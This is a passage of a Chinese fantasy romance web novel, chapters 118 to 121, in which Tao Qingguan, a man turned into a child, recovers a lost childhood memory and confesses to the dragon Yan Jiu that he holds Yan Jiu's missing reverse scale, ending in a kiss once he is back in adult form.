龙?宴氿? 可要是宴氿,对方没道理认不出他,但要说其他龙,那个时候似乎已经死绝了。 一个谜团解开后接着又是一个谜团,事情怎么也理不顺,陶清观这会儿愈发好奇事情的真相。 他冲老板露出一个灿烂的笑容,“谢谢叔叔,我回去啦。” 这笑看得老板怪稀罕的,他从抽屉里找了几颗糖塞到陶清观手里,说道:“好,想玩什么尽管来找我,附近我可熟了。” 陶清观点头,他冲老板挥挥手,屁颠屁颠地爬上楼梯。 他在心底问小渡,“有没有办法能想起忘记的事。” 小渡回答道:“有,记忆像接受传承一样,有个媒介就能将记忆重现转移,如果有和失去的那段记忆相关的物品,记忆可以以梦的形式重现。” 陶清观追问道:“照片可以吗?” 小渡:“可以。” 陶清观当即敲定,“那睡觉的时候试试。” 房间内,宴氿刚将东西收拾好,此刻正接着民宿的小厨房热牛奶,根据他查到的育儿知识,小孩喝这个能增强抵抗力。 陶清观一回来就被塞了杯温热的牛奶,抬头望去,宴氿手里还拿着瓶维生素C泡腾片。 他嘴角抽搐,将宴氿的心理摸个透彻,他忽然感觉自己在陪宴氿玩扮家家酒,他当儿子,宴氿当爹。 宴氿将泡腾片放到桌子上,开口道:“这个晚上再喝。” 陶清观捧着杯子,咕嘟咕嘟喝牛奶,他本来还想跟宴氿说说失忆的事,但现在想想还是等他弄明白当年究竟发生了什么再说吧,现在说也没什么意义。 “我喝完了。”陶清观放下杯子,往床边走,“我有点困,想睡觉。” “嗯。” 宴氿跟上陶清观,他抱起陶清观放到床边,帮人把脖子上的花环拿下来,然后蹲下身为陶清观脱鞋子。 陶清观欲言又止,宴氿这么养,他有种自己是个小废物的感觉,刚想装模作样说两句,一张湿纸巾就盖在他脸上,仔仔细细擦了一遍。 算了,陶清观叹气,他看宴氿也挺乐在其中的。 余光瞥见宴氿带着手链的手腕,陶清观目光一顿,他的手链被毁得彻底,发生的事情太多,他都忘了这件事,没想到宴氿还带着。 陶清观伸出手拽住宴氿的衣袖,捏着那串手链转了两下,不知道该怎么说。 宴氿莞尔,他握住陶清观的手,语气平缓,“留着做个纪念。” 陶清观沉默了一会,开口道:“现在我也是龙,也能活很久,手链有没有都一样。” 宴氿哂笑:“嗯。” 龙…… 比他晚出生的龙不再少数,但活到现在的只剩他。 宴氿心底仍有一片阴霾,他将其隐藏的很好,至少陶清观没有发现。 陶清观往床上一倒,滚到床中央,开口道:“好了,我要睡觉,你可以自己玩去了。” “我陪你。”宴氿在陶清观身边躺下。 陶清观扭了扭身子,没拒绝,任由宴氿把自己搂怀里。 他闭上眼,在小渡的帮助下,很快就睡着了。 再次睁开眼,他又回到那片沙滩上,但不同于他刚刚看到的清冷,眼前的这片沙滩格外热闹,一眼望去人跟下饺子似的飘在海里。 “囡囡过来拍照。” 熟悉的女声传来,陶清观听见自己说了声好,然后大步向徐婉晴跑去。 徐婉晴将他抱起,陶清观看见了那位年轻了许多的摄像师,咔嚓一声响,照片将这一瞬间定格。 徐婉晴看了眼拍好的照片,十分满意,“就这张。” 陶清观拽着徐婉晴的裙子,他想望望四周,可身体却不受控制,在这段回忆里他只是个旁观者,并不能参与。 “囡囡想不想要水枪?”徐婉晴见陶清观眼巴巴地望着别的小朋友手里的水枪,只觉得陶清观又乖又可爱。 没一会儿,陶清观手里就对了一把水枪,他陷入沉默,他今天是跟水枪过不去了么。 拿到水枪的‘陶清观’开心极了,撒了欢地在沙滩上跑,徐婉晴跟在陶清观身后,眼底满是笑意。 陶清观被迫参与进小孩子之间的‘枪战’,反正身体用不着他操控,他的注意力便都落在徐婉晴身上。 对方接到一通电话,开始神情还很开心,可渐渐的徐婉晴的脸色逐渐沉了下来,甚至冲电话那边的人吼了两句,陶清观第一次看见徐婉晴如此失态。 ‘陶清观’大概也注意到徐婉晴的异常,玩耍的动作慢了下来,他拎着水枪,快步跑到徐婉晴面前,伸手抱住对方的腿,安慰道:“妈妈,不生气。” 第118章 第 118 章 陶清观:逆鳞是我拿的…… 听见儿子的声音, 徐婉晴连忙调整好自己的表情,她蹲下身子,握住陶清观的小手, “妈妈没事, 去跟小朋友们玩吧。” ‘陶清观’摇头,牵住徐婉晴的手, “我陪你,爸爸什么时候来?” 年幼的陶清观对陶雨霖仍有仰慕之意,而早已看透陶桑云的陶清观心情复杂。 在这个年纪, 陶雨霖对他还算不错,虽然没陶笠鹤那么宠,但也勉强算个合格的父亲,可突然有一天,陶雨霖变得消沉, 对他的态度也冷淡下来。 当时他以为陶雨霖是心情不好,只要他表现得乖一点,陶雨霖肯定会变回原本的样子, 可事与愿违。 现在想来, 这会儿应该是陶雨霖丧失天赋的时候,出来玩估计是徐婉晴想带陶雨霖散散心, 不过听刚刚的争吵, 这次散心显然不太成功。 徐婉晴的笑容有些勉强,她摸摸‘陶清观’的脑袋, 说道:“爸爸现在有事, 要过一会儿才能来,乖,你先和小朋友们玩。” ‘陶清观’拉着徐婉晴不撒手, 小脸皱在一起。 徐婉晴无奈,她戳了下‘陶清观’的脸颊肉,“怎么跟块小年糕似的。” ‘陶清观’耍赖当听不见,他知道徐婉晴会纵着自己,所以有恃无恐,果然,徐婉晴将他抱起来,开口道。 “行吧,妈妈带你吃雪糕,说好了,你只许吃两口,不然又要感冒了。” 陶清观点脑袋,他一手拿着水枪,一手搂着徐婉晴的颈脖,眼睛亮闪闪地望着雪糕摊子。 徐婉晴把陶清观放下来,让陶清观挑雪糕,她拿着手机,神色纠结,最后还是打开最近通话,按下回拨键。 铃声响起,另一边迟迟没有人接听,徐婉晴美眸中划过一丝担忧,在铃声停下的那一刻,她又回拨了一次,但结果还是一样。 ‘陶清观’挑完雪糕,拉了下徐婉晴的裙子,“妈妈,要这个。” 徐婉晴从混乱的思绪中抽身,她拿出钱递给老板,牵着陶清观就要走。 后边的老板连忙喊道:“诶,还没找钱呢。” “啊,谢谢。”徐婉晴匆匆回头,接过老板递来的钱,带着‘陶清观’心神不宁的往回走。 ‘陶清观’咬了两口甜筒,偷瞄徐婉晴的表情,他抿着嘴,纠结着要不要咬第三口,最终他还是没有吃,而是摇了摇徐婉晴的手臂,将甜筒举起来,“我吃好了,给你。” 徐婉晴一愣,回过神后,她弯下腰,拿过‘陶清观’手中的冰淇淋,她放低语气开口道:“囡囡,妈妈跟你商量一件事好不好?” ‘陶清观’乖巧点头。 “妈妈要离开一下,把你送到那边的儿童乐园,你在里面玩,妈妈很快就回来,好不好?”徐婉晴说道:“妈妈回来给你带好吃的。” ‘陶清观’犹豫了一会儿,还是答应下来,他拉着徐婉晴,说道:“你要快点回来。” “好。” 徐婉晴答应下来,她把‘陶清观’送到儿童乐园,特地跟工作人员说了一声,稍微注意点孩子,才匆匆离开。 围观全程的陶清观望着徐婉晴的背影,在心底叹了口气,看来他就是在这时候丢的。 难道他偷偷去追徐婉晴了? 很快陶清观就知道原因,‘他’迈着个小短腿跟在一群孩子后边,看见三四个小孩钻进滑梯下边,‘他’也好奇地跟了进去。 滑梯下边是个海洋球池,对于小朋友来说是一个天然的秘密基地。 第一个钻进来的孩子神神秘秘地拨开海洋球的边角,对后边的孩子说,“这后面是神秘通道。” 孩子们配合着哇了一声。 陶清观仔细打量,这那是什么神秘通道,分明是池子后边有块板子送了,小孩用点力就能钻出去。 看着小孩一个接一个溜出去,陶清观差点心梗,在看到自己也跟着钻出去后,陶清观悬着的心还是死了。 工作人员干什么吃的,这么多小孩跑出去居然都没发现。 那些小孩结对离开,‘陶清观’有点怕生,远远地跟着,可有几个小孩大概是当地居民的,在这一带混得熟,没一会儿就跑没影了,‘陶清观’想追都没追上。 陌生的环境,周围都看不见人影,这一块地礁石尤其多,看着像未开发的地区,‘陶清观’后知后觉感到害怕,他吸了吸鼻子,想哭又忍了下来。 ‘陶清观’揉了下眼睛,转身往回走,他记性好,大致记得回去的方向。 这让陶清观看得心情复杂,靠谱又不靠谱的,眼看路走了一半,就在陶清观以为能平安无事回去的时候,海面忽然刮起大风,黑云在头顶聚集,浪花卷向岸边,如一张大嘴贪婪地吞噬着。 天气变得措不及防,大雨砸了下来,海浪一阵比一阵高,狂风中小小的‘陶清观’光是站着就花光了全部力气。 幸运终究没有降临,‘陶清观’被海浪吞噬,湍急的海流裹挟着他,一瞬间就将他带离岸边。 虽然无法操控身体,但陶清观却真实地体会到窒息的痛苦,海水漫入鼻腔,眼泪控制不住的流下,喉咙被死死堵住,发不出一点声响,四肢牢牢固定在原地,只能看着海面离自己越来越远。 陶清观清楚,这是小孩溺水的常见反应,不会挣扎,发不出声音,也是因为这样,游泳池每年都会有小孩溺亡的事件。 窒息感如影随形,可他却依旧活着,陶清观思索,大概是因为他有部分龙族血脉,所以比较耐造,但再耐造也扛不过越来越大的水压,人类骨子里天生具有对深海的恐惧,随着光亮逐渐远离,陶清观的意识也越来越模糊。 五感被剥离,整个人飘飘然,倏然他感觉到一股生机盎然的气息,只是触碰,不适感就飞速减退,身体本能的吸收四周的灵,他穿越了一道屏障,浓郁的灵唤回他的意识。 陶清观睁开眼,入眼是一条庞然巨物,雪白的龙漂浮在海中,即使闭着眼,也遮掩不住身上骇人的威压。 他听见自己问。 “大龙,这里是天上吗?” 沉睡的宴氿留有一部分本能的意识,听到陶清观的声音,他的呼吸有一瞬紊乱。 得不到回答的‘陶清观’情绪低落,“我……是不是死了?” 宴氿依旧没有回应。 “大龙,怎么只有你一条龙,你不孤单吗?我想爸爸妈妈了。” 沉睡的龙在这时终于有了回应,低沉的声音在海中回响。 “孤单……” “你会说话呀。”‘陶清观’眼睛一亮,“你没有朋友吗?我的朋友也很少,我们可以做朋友。” 巨龙的身体翻转,带起的海浪将陶清观掀出好远,他凑到‘陶清观’面前,一人一龙之间的距离唾手可及,巨龙声音沉沉。 “可你快死了。” ‘陶清观’愣住,“我还没死吗?你也没死?” 他伸手抱住巨龙的脑袋,费力地爬上去,轻轻抚摸巨龙闭着的眼睛,“你能救救我吗?” ‘陶清观’还没龙一只眼睛大,他依偎着宴氿,困意忽然席卷而来,他打了个哈欠,嘴里嘟囔着,“你救我的话,我就可以陪着你了,大龙,不孤单……” “陪我?” “嗯~” 巨龙垂下头颅,他低低应了一声。 “好。” 啊? 啊!? 不是,这么好骗? 宴氿把逆鳞交出来的时候,陶清观都傻眼了,这龙怕不是睡傻了,逆鳞说给就给,宛如梦游,醒来还不记得的那种。 陶清观脑阔疼,后面的事他大概猜到,小时候的他活着回去,但生了场重病,结果把这事忘了个干净,而宴氿这个蠢货是压根不记得,还以为自己的逆鳞是被人偷了。 想到被宴氿痛扁的一众人,陶清观嘶了一声。 这口锅真是又大又圆。 不等他理清楚思绪,失重感传来,再次睁眼,他看到的是民宿的天花板。 “做噩梦了?” 宴氿拿着纸为陶清观擦拭额头上的汗水,“我喊了半天你都没醒,还在床上滚来滚去。” 陶清观这会儿看见宴氿就心底发虚。 找了那么久的逆鳞。 诶嘿,在他身上,没想到吧。 他也没想到。 关键还是他忽悠来的,扭头就把龙忘了个干净,让某条孤寡老龙裤衩都赔干净了。 现在想想,最开始那几次,宴氿感觉到逆鳞在附近的时候,他后颈都烫烫的,那时候他只以为是巧合,根本没多想。 而且再后来,他后颈发烫,宴氿也感觉不到逆鳞的气息。 嗯……估摸着是消化干净了,他就说为什么他的龙族血脉会突然增长,感情是把某条龙的逆鳞给消化了。 通了,一切都通了。 陶清观心底尖叫小猫痛苦抱头。 他坐起身,看着满眼关切的宴氿,到嘴的话顿住,“呃……没做噩梦。” 陶清观抬手挠了挠脸颊,人在尴尬的时候总是很忙,“那个,人不是抓到了,你的逆鳞最后怎么说的?” 提到那人,宴氿心底的杀意再次浮现,对方只要活着,对陶清观来说就多一分危险,他无法容忍这种事,当场就将人杀了,压根没想过逼问逆鳞的事。 宴氿揉了揉陶清观的脑袋,说道:“没有,估计是找不到,没关系,他也付出应有的代价,就当喂狗。” 而且被那人碰过的逆鳞他嫌脏,即使找到也是当场销毁。 陶清观心底跟打翻的颜料盘似的,煞是精彩,他握住宴氿的手,一脸沉重。 他缓缓吁出一口气,字正腔圆,“汪。” 宴氿:“嗯?” 陶清观微笑,“没事,我就想叫两声。” 第119章 第 119 章 陶清观:跟你说件事…… 陶清观偷瞄着宴氿的神情, 第一次自首,有那么亿点点紧张。 以宴氿的脾气,这件事告诉对方, 多半也就被调侃几句, 再加上他现在外表还是个小孩,宴氿肯定不会动手打他。 不对, 这家伙有打他屁股的前科。 陶清观捏拳头,要是宴氿动手,他、他就哭, 他就是个五岁小孩,他能有什么坏心思。 他组织好语言,“那个……” “等会儿外面有篝火晚会,还有烟花表演,你可以带小孩出去看看。” 民宿老板热情的大嗓门从门外传来, 让陶清观到嘴边的话又咽回去。 宴氿挑眉,问道:“想去玩吗?” 陶清观咬紧一口白牙,忿忿瞪了一眼房门, 可恶, 坏他好事。 对上宴氿询问的目光,陶清观在心底叹了口气, “去看看。” 来都来了, 凑个热闹。 “嗯。” 宴氿起身拿出一套厚点的衣服,夜晚的海风凉, 陶清观这小胳膊小腿的, 看着就不是很结实的样子。 见宴氿抖开衣服向自己走来,陶清观连忙举手,“我自己换。” 他又不是真小孩, 多少还是要点脸。 陶清观火速换好衣服,刚转过身,一双大手托起他的腋下,将他一把抱起,紧接着他的视野黑了一半。 拉着头顶上的帽兜,陶清观想放下来,“晚上光线暗,应该没人会注意我的额头。” 宴氿摁住陶清观的手,“冷。” 行叭。 陶清观推了推宴氿的肩膀,“那你放我下来,又不远,我可以自己走。” 宴氿委婉地说道:“烟花还是在高处好看。” 身高还没宴氿腿长的陶清观有被内涵到,他哼了一声,干脆搂住宴氿的脖子,倚过去,下巴一昂,指使道:“走。” 宴氿勾起唇角,他又为陶清观整理了一下帽兜,将人抱高了点,小孩的体温比较高,抱在怀里暖乎乎的,而且稍微仔细的一点,就能听到陶清观鲜活的心跳声。 他喜欢这样的接触,只是靠近,一颗心就安定下来。 宴氿是安定了,但陶清观可就静不下来了,他暗自蹙眉,想找个合适的机会开口。 犹豫着,宴氿带着他来到沙滩,夜幕笼罩,海面掀着波涛,陶清观打量一圈。 嗯……或许可以找个人多点的地方,这样他的屁股就保住了,又或许可以委婉一点。 陶清观灵光一闪,在心底戳小渡。 “小渡,你能让宴氿想起以前的记忆吗?” 小渡疑惑,“他失忆过?” 陶清观卡壳,宴氿好像确实算不上失忆,毕竟宴氿当时根本没醒,没醒就把逆鳞送出去,这真的,他哭死。 已经说不清是今天第多少次叹气,陶清观无奈对小渡道:“算了,没事了。” 陶清观抿起唇给自己打气,一两句话的事,小问题。 他环顾四周,夜晚的沙滩有些冷清,但摆放篝火的地方围了不少人,大多都是当地的居民。 有风吹来,冷飕飕的,不过有宴氿挡着,陶清观没感觉到什么冷意。 陶清观偏过头,入眼是宴氿的侧颜,火光照亮对方的脸庞,染上一份清浅的柔意,对方轮廓分明的五官在此刻柔和了几分。 他唇瓣微张,伸手戳了下宴氿的脸,“我……” 咻! 一朵烟花在天空绽放,这一声拉开序幕,接二连三的繁花在夜空中盛开,世界一下子热闹起来。 而又被打断的陶清观:“……” 他算是体会到宴氿告白接二连三被打断的感觉了,真是让人逐渐暴躁。 陶清观闷闷不乐,木着脸望着空中的盛会,抛开别的不谈,看倒是挺好看的。 宴氿见陶清观感兴趣,抬脚找了个视野开阔的地方和陶清观一起观赏。 这场烟花秀是附近的居民联合举办,规模不算大,但却很用心,陶清观看到不少人胸前都别着一朵火红的花,今天对于他们来说或许是一个特别的节日。 陶清观听见欢呼声,他微微侧目,看到一对情侣在夜空下拥吻,绚烂的烟花成了背景,浪漫而又唯美。 他眸光微闪,视线转向宴氿,今日好像是个与爱情相关的节日。 携伴而来的伴侣相视一笑,是彼此心照不宣的默契,头发花白的老人坐在一起,十指相扣着,是相守一生的爱意。 而宴氿若与他亲吻,是……犯罪。 他撇过脸,有那么一瞬间,陶清观差点没绷住。 宴氿也注意到周遭的人们,眼底划过一丝无奈,他捏了下陶清观的脸蛋,“又在想什么乱七八糟的东西?” 陶清观用力摇头,“没什么。” 宴氿在这些方面,就是个老古板,他出格,宴氿都不可能出格。 陶清观眼珠子转悠,转身搂住宴氿的颈脖,凑到对方脸颊边吧唧一口,他拍拍宴氿的肩膀,大方道:“下次补给你。” 宴氿哑然失笑,他的伴侣不管变成什么样,都一样的可爱。 气氛渲染得不错,陶清观感觉时机到位,他清了下嗓子,准备开口,“我……” “喂!那边不许站人,太危险了,快下来!” 旁边的大叔大喊,陶清观一口气梗住。 宴氿礼貌回应,“好,我这就下来,谢谢。” 他动作利落地走下礁石,想问陶清观刚刚要说什么,结果一低头,看到一个忧郁的发顶。 陶清观握住宴氿的手,发自内心地感慨,“你不容易。” 太不容易了,被打断那么多次,还有毅力坚持下去,他以前怎么没发现,宴氿是情绪这么稳定一龙。 宴氿听得一头雾水,下个小石坡跟不容易有什么关系。 陶清观不打算解释,话到嘴边又憋回去,难受得慌,他撇着嘴,指向不远处的烧烤摊,仿佛在看什么生死仇敌,“过去,办它。” 宴氿:“?” 自从晚上醒来,陶清观就怪怪的,宴氿不着痕迹地扫了陶清观一眼。 身体不舒服? 不太像。 倒像是做了什么亏心事,想开口又不好意思说,别别扭扭地墨迹。 某种意义上,宴氿真相了,不得不说,宴氿还是了解陶清观的。 来到烧烤摊,陶清观让宴氿放自己下来,他坐在小板凳上,一手拿菜单,一手拿笔,刷刷刷勾下一排菜。 宴氿在一旁看着,他感觉陶清观这会儿有点像报复性消费。 点完菜,陶清观叫来老板,把勾好的菜单递给对方。 老板被陶清观这副老成的模样逗乐了,他咧着嘴问道:“你今年几岁啦?” 陶清观面无表情,“五岁。” “哟,记得这么清楚,真棒。”老板拿着菜单乐呵呵地走了。 陶清观的表情更冷了,他木着脸,扣着一次性碗筷的塑封袋,忽然想起忘记跟老板说不要放辣,陶清观停下动作。 他对宴氿道:“忘说不要放辣了,我去找老板。” 宴氿:“我去……” “不用。”陶清观从凳子上跳下来,他这会儿静不下来,就想溜达溜达。 他独自走到后厨,这家店生意不错,但店员就老板一个,对方身兼数职,忙得热火朝天。 陶清观掀开帘子,探了个脑袋进去,“老板,我们的那份不要放辣。” 他话音未落,细微的抽噎声传来,陶清观循声望去,看见一个莫约三四岁的小女孩坐在地上哭,小脸都哭花了。 “好嘞。”老板焦头烂额,他抽空安慰自己闺女,“安安乖,等会爸爸陪你拼,妈妈还有半小时就回来了。” 安安面前放着一张拼了一小半的拼图,她手里还拿着拼图碎片,放了几次都没放到对的位置,把自己急哭了。 陶清观看着这一幕,犹豫了会儿,还是走上前,指着拼图下边说道:“放在这。” 安安泪眼汪汪,她吸了吸鼻涕,照着陶清观说得放,拼图完美贴合,她破涕为笑。 听到安安的小声,老板松了口气,他跟陶清观商量,“你陪安安玩一会儿,叔叔送你两串羊肉串,行不行?” 反正没什么事,陶清观答应下来。 他站在安安旁边,跟对方一起拼,启蒙用的拼图对陶清观来说简简单单,但为了让安安有参与感,陶清观只提示,尽量不动手。 没一会儿,拼图就拼好了,安安咯咯笑着,完全不见刚刚伤心的模样。 小孩只要不哭,都挺可爱的,陶清观稚嫩的脸庞上露出慈祥的表情,配合着啪啪鼓掌。 安安更开心了,她哒哒走到陶清观身旁,垫起脚,给陶清观脸颊糊上眼泪和口水。 被亲的陶清观措不及防,他一扭头,看到安安没吸回去的清水鼻涕,还有对方没心没肺的笑脸。 ……倒也不必。 “咳。” 后厨的帘子又被掀起,宴氿的目光精准锁定陶清观,他面上看不出喜怒,“这么久没回来,原来是忙着哄小女生欢心。” 陶清观后背一凉。 老板以为宴氿是在打趣,他哈哈大笑,“你家小孩前途不可限量。” 说完,他又扭头对还在傻笑的安安说道:“跟你说多少次了,不许随便亲人。” 安安嘟嘴,指着陶清观,“好看。” “好看也不准亲。”老板故意板起脸,唬完安安,他颇为无奈跟宴氿说起育儿问题,“我家这个看到好看的就往上贴,拿都拿不住,比起来,你家这个很省心了。” 宴氿望向立正的陶清观,微笑,“嗯,确实省心。” 陶清观目光游移。 省心,他怎么不算省心,饿了会自己吃饭,下雨知道回家,不要太省心。 眼看老板还想聊,陶清观赶忙抱住宴氿的小腿,“我渴了,我们去买饮料。” 老天鹅啊,可别聊了,再聊他屁股真保不住了。 第120章 第 120 章 陶清观:你的逆鳞在我…… “渴啦, 那边冰箱里的饮料随便拿,算我送你们的。”老板手上动作不停,“我们这的椰子汁可好喝了。” “嗯嗯, 谢谢。” 陶清观只想快点走, 他推推宴氿,见对方垂眸望来, 他露出一个讨好的笑容。 宴氿眉尖上扬,他还没开口,旁边的安安哒哒哒跑过来。 “哥哥, 陪我玩。”安安拉住陶清观的胳膊,拽着不让人走。 陶清观一个头两个大,安安比他这具身体还小,他不可能把人推开,可犹豫的空档, 他又听见背后一声冷哼。 他嘴角微微抽搐,这家伙到底几岁,怎么还跟三岁小孩计较。 陶清观无奈, 他瞧着安安花猫似的脸蛋, 和乱糟糟的头发,有点无从下手, 他轻叹一声, 给安安理了理头发,“我要吃饭, 不能陪你玩了。” 安安小脸揪在一起, 嘴巴一撇又要哭,陶清观眼疾手快,掏出路上买的小玩意塞给安安, “送你。” 亮晶晶的贝壳吊坠瞬间吸引安安的注意,她嘿嘿笑着,一把抱住陶清观。 陶清观一手抵住安安的脑袋,防止对方鼻涕眼泪蹭到自己身上,他预判安安又要亲自己,连忙一个闪身躲到宴氿身后。 他小声催促,“快走。” 宴氿不动。 陶清观握住宴氿的手,硬是把人拽走。 回到位置上,陶清观松了口气,他瞅了眼宴氿,对方面上不显,可他就是感觉宴氿脸色臭臭的。 陶清观往宴氿腿上一趴,放软语气,“给我擦擦。” 虽然是小孩子,但他还是有那么一点点嫌弃。 宴氿瞥了陶清观一眼,面色不变,可手上却很诚实,他抽了张纸,用水打湿,给陶清观擦脸,擦手。 尤其是被亲的那一块,宴氿来回擦了好几遍。 陶清观哭笑不得,他歪过脑袋,指着自己的脸颊,“你亲一下。” 宴氿哼出一声嗯,他抱起陶清观放到自己腿上,在陶清观脸颊上轻轻落下一吻。 陶清观晃着小腿,背靠宴氿,他抱着宴氿的手,捏着对方的手指玩,半是无奈地说道:“她才三岁,能懂什么。” 宴氿反握住陶清观的手,“那也不行。” 陶笠鹤亲就算了,不知道从哪冒出来的小屁孩居然还亲了一口,宴氿心底冒酸泡泡,醋坛子都快翻了。 他睨向陶清观,酸溜溜地问道:“老实说,这是第几个。” 陶清观啊了一声,没跟上宴氿的脑回路。 宴氿唇角下压,捏住陶清观的脸蛋,“你今晚都怪怪的,难道不是背着我做了什么坏事?” 他抿着唇,做出大方的样子,“说吧,我又不会拿你怎么样,正常社交我不会干涉,但你得把握好分寸,这样对彼此都好。” 宴氿说得义正严辞,但其中有多少私心,只有他自己知道了。 陶清观沉默,憋了半天,憋出一句,“我没有。” 这根本不是一回事,他才不是朝三暮四的那种人,宴氿居然这么看他。 陶清观眯起眼眸,眼底掠过一丝不太友善的光,他扯了下唇角,顺着宴氿的话说下去,“只是忽然想起了点以前的事。” 宴氿垂在身侧的手收紧,小臂青筋突起,他声音平静,“嗯?什么事?” 陶清观余光瞥见宴氿的小动作,他在心底啧了一声,接着道:“小时候收了人家东西,后来才知道那是定情信物。” 逆鳞对龙族来说,确实跟定情信物差不多。 宴氿眉心皱起,瞬间变脸,“你那时才多大,小孩子不懂,不作数。” “四五岁吧。”陶清观无视宴氿愈发难看的脸色,开口道:“那东西挺贵的,要是他让我还,把我卖了都买不起。” “我替你还。”宴氿冷声嘲讽,“送出去的东西,哪有收回的道理。” 说到这,宴氿又觉得不行,陶清观手里拿着别人的定情信物,光想想他就气不顺。 宴氿唇角绷住,唾弃道:“这种家伙早些远离的好,把东西还给他,干脆断干净。” 陶清观眼珠子转悠,将脸撇到一边,“那恐怕不行,他送的东西我都用掉了,没法还。” 知道宴氿要说什么,陶清观又补上一句,“你也没那东西,还不了。” 宴氿眉头拧紧,“你先告诉我什么东西,我想办法弄来。” 陶清观摇头,“就算你找到,也不是他送我的那一个,意义不一样。” 他抬手拍了拍宴氿的胳膊,反向安慰道:“你别担心,以他的为人,应该不会跟我计较。” “那也不行。”宴氿脸拉下来,掰过陶清观的脑袋,让对方看向自己,“他当时多大?” 陶清观含糊其辞,“成年了。” 宴氿言之凿凿,条理清晰,“他成年,你四五岁,那他把所谓的定情信物交给你就很有问题,知人知面不知心,谁知道他在打什么鬼主意。” “哦~” 陶清观拖长尾音,笑眯眯地望着宴氿,“你觉得他有问题?” 宴氿即答,“肯定有问题。” “我也觉得。”陶清观拍了下宴氿的肩膀。 这时,老板端着烧烤过来,宴氿还想再说,但被陶清观打断。 “我饿了,先吃饭。”陶清观无视宴氿幽怨的目光,指挥道:“拿个羊肉串给我。” 宴氿有口难言,他唇瓣绷成一条直线,手上动作却不含糊,他把羊肉串签子拔了,将肉装进小碗里,端到陶清观面前。 陶清观拿起筷子,夹起一块放进嘴里,老板手艺不错,咸淡刚刚好。 宴氿一边投喂陶清观,一边拿起一串烤肉,一口咬下,他嚼得用力,不知道的把这当成了谁得肉。 陶清观吃得开心,期间宴氿几次想开口说话,他都忽略过去,等到吃完,他一脸满足,而宴氿周身忧郁的气息都快化为实质了。 “走,回民宿。”陶清观擦干净嘴,从板凳上跳下来,头也不回地往前走。 宴氿……宴氿只得跟上。 沙滩上,篝火晚会结束了,人群散去,沙滩变得冷清。 陶清观走在前面,他环顾四周,步伐一转,走向另一条小路。 宴氿脚步一顿,随即快步跟上,提醒道:“民宿不在这边。” “我知道。” 陶清观脚步不停,绕过一块大礁石,眼前的景色逐渐变得熟悉,这里正是他失足落海的地方,也是他遇见宴氿的起点。 他踩在礁石上,望向脚下的大海,今日的风浪平缓,浪花慵懒地晃悠,带着细碎的月光逐渐靠近。 陶清观两手背在身后,回眸望向宴氿,开口道:“他就是在这附近,把定情信物交给我的。” 宴氿眉尖下压,唇角也压出一个不愉快的弧度,他怪声怪气道:“你记得倒是清楚。” 陶清观轻叹一声,“意义重大,想不记得都不行。” 宴氿周身的气压更低了,“陶囡囡,你故意气我是不是?” 他甚至希望陶清观是故意编出这么一个人气他,可看到陶清观那双清亮的眼眸,他知道,对方说的都是真的。 宴氿呼吸乱了一瞬,脑海中飘过千万种思绪,但下一刻,他看见陶清观向后仰倒,坠入海面。 他瞳孔扩散,一个箭步冲下去,几乎和陶清观同一时间掉入海中。 宴氿将人拉入怀中,抱住时,他感到手感不对,垂下眼帘,映入瞳孔中的是恢复原样的陶清观。 陶清观颇为新奇的打量着自己穿的浅绿色华服,这是他素未蒙面的龙鳞变换来的,小渡真没骗他。 宴氿看清陶清观的模样,眸光一滞,他抱着陶清观浮出海面,抬手撩起对方耳边垂落的长发,喃喃道:“变回去了。” “只能一会儿。”陶清观笑道,及腰的长发让他不太习惯,他随手将发丝捋到脑后,然后搭着宴氿的肩膀倏然靠近,“虽然小孩子的模样能占点便宜,不过我还是觉得这样跟你说比较好。” 宴氿眸光微闪,他托起陶清观,仰头与陶清观对视,嗓音微哑,“你想说什么?” 陶清观唇瓣抿动,骨节分明的食指自上而下划过宴氿的颈脖,最后停在突起的喉结下,他俯下身,离宴氿的鼻尖不过咫尺之遥,呼出的气息纠缠在一起。 “逼问那家伙确实是无用功,因为你的逆鳞打从一开始就不是他偷的。” 陶清观凑近,在宴氿的薄唇上落下一吻,“你的逆鳞,在我这。” 宴氿眼底有困惑一闪而逝,他不确定地反问道:“在你那?” “嗯。”陶清观搂住宴氿的颈脖,垂首与对方额头相抵,“那时我失足坠海,不知怎么飘到你跟前,你用逆鳞救了我。” 宴氿眼底的困惑没有淡去,陶清观体质特殊,意外飘到他面前也说得通,可只留着本能的他,会用逆鳞去救一个陌生小孩? 他了解自己,他没那么心善,救多半会救,但也只是帮一把,剩下的生死看天意。 陶清观见宴氿这副样子,就知道没忽悠过去,他目光游移,“那什么,我说你救我,我就留下来陪你,你就把逆鳞给我了。” “哈哈……”陶清观干笑两声,“谁知道我后来发烧,脑子烧糊涂,把这些都忘了,而你也没记住,这不就误会了。” 宴氿不语,只是一味地望着陶清观。 陶清观被看得不自在,开口岔开话题,“真看不出来,你还挺热心的,搭救坠海儿童,大功一件。” “看在你救人心切的份上,我就不跟你计较,把定情信物塞给一个小孩了。”陶清观倒打一耙,“下次要记得,这么重要的东西不能随随便便给人。” 宴氿笑了,气得。 他啪一下拍在陶清观屁gu上,笑骂道:“合着你是故意套我话。” 120-130 第121章 第 121 章 陶清观:洗鸳鸯浴吗?…… 陶清观装模作样地诶哟一声, 好像宴氿用了多大力似的,他往宴氿身上一趴,耍无赖道:“你自己说的, 小孩子的话不作数。” 宴氿也向陶清观, 没好气道:“你就算准我会吃醋。” 陶清观哼了一声,“是你先说我朝三暮四。” “我那是——”宴氿摁住陶清观的后脑勺, 在对方的脸颊上亲咬一口,他面上有一丝赫然,露出的耳尖染上些许绯色, “你走到哪都有人喜欢,我看不惯他们。” “宴娇娇啊,你怎么连三岁小孩的醋都吃。”陶清观捧起宴氿的脸颊,歪着脑袋望着对方。 心血来潮给宴氿起得绰号还怪合适的。 宴氿薄唇抿起,黝黑的眼眸深处泛着幽蓝色的暗芒, “不可以?” “当然可以。”陶清观唇角上扬,他两臂环紧,贴近宴氿, “现在我不是小孩, 之前跟你说的事,不用等下次了。” 不等宴氿回应, 陶清观偏过头吻上去, 舌尖舔过唇瓣,带着丝丝属于大海的咸意, 炽热的呼吸喷洒在微凉的肌肤上, 激起一阵阵酥麻的触感。 被撩到耳后的发丝再次垂落,与宴氿逐渐凌乱的发丝纠缠在一起。 陶清观轻推宴氿的肩膀,稍稍拉开一段距离, 他呼吸声紊乱,唇瓣殷红。 宴氿炙热的目光黏在陶清观身上,繁琐的华服在此刻成为阻碍,他握住陶清观的手腕,探入广袖之中,指腹抚过细腻的肌肤。 